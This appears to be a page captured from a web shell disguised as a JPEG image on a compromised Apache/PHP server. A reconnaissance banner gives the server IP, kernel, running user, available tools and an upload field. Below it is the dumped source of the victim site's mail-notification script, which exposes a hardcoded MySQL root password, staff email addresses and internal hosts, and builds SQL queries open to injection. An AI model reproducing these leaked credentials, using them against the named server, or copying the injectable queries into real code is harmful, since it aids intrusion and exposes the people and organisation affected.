????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 3.140.195.167 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/icad.astacus.se/customerzon/ |
Upload File : |
<?php session_start(); function sendNotification($_ProjectId, $_Subject, $_Body){ $ProjectId = $_ProjectId; $Subject = $_Subject; $Body = $_Body; $link = mysql_connect ("localhost", "root", "root123"); mysql_select_db ("vpa"); $SendToAstacus = ""; $sql = "Select * from ICADNotification, SystemUser where SystemUser.SystemUserId = ICADNotification.SystemUserId and SystemUser.CompanyId = 19 and ProjectId = $ProjectId group by SystemUser.SystemUserId"; $result = mysql_query($sql); while ($row = mysql_fetch_assoc($result)){ $SendToAstacus = $row['Email']; } $sql = "SELECT Distinct(SystemUser.Email) FROM ICADAccount, Project, SystemUser where Project.ProjectId = $ProjectId and Project.CompanyId = ICADAccount.CustomerID and SystemUser.SystemUserId = ICADAccount.ICADContact;"; $result = mysql_query($sql); while ($row = mysql_fetch_assoc($result)){ $SendTo = $row['Email']; $headers = 'MIME-Version: 1.0' . "\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "Date: ".date("r")."\r\n"; $headers .= "From: info@astacus.se\r\n"; $headers .= "Reply-To: info@astacus.se\r\n"; $headers .= "Return-Path: info@astacus.se\r\n"; //$headers .= "From: ".$_SESSION['ASTACUS_SSO_INFO'][5]."\r\n"; try { if ($SendTo == ""){ mail("g.kiran@trigeo.net,carl.hoffstedt@astacus.se", "ERROR: ".$Subject, "ERROR, Please se the log: Error code 2", $headers); } if ($SendToAstacus != ""){ mail($SendToAstacus, "IMPORTANT: ".$Subject, $Body."<br><br>From: ".$_SESSION['ASTACUS_SSO_INFO'][1]." (".$_SESSION['ASTACUS_SSO_INFO'][5].")", $headers); } if(mail($SendTo.", noreply@astacus.se", $Subject, $Body."<br><br>From: ".$_SESSION['ASTACUS_SSO_INFO'][1]." (".$_SESSION['ASTACUS_SSO_INFO'][5].")", $headers)){ $LogDate = date("Y-m-d H:i:s"); $sql2 = "INSERT INTO MailLog VALUES (NULL,'$LogDate',$ProjectId,'$SendTo')"; $result2 = mysql_query($sql2); }else{ mail("g.kiran@trigeo.net", "ERROR: ".$Subject, "ERROR, Please se the log: Error code 3", $headers); } $url = 'http://truview.astacus.se/mail/?email=g.kiran@trigeo.net&subject='.urlencode($Subject).'&body='.urlencode("New info in this project!"); $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_PORT, 8080); $res = curl_exec($ch); //mail("carl.hoffstedt@astacus.se", "TO KIRAN: ", $url ." #".$res, $headers); } catch (Exception $e) { mail("carl.hoffstedt@astacus.se", "ERROR: ".$Subject, $e->getMessage(), $headers); } } } ?>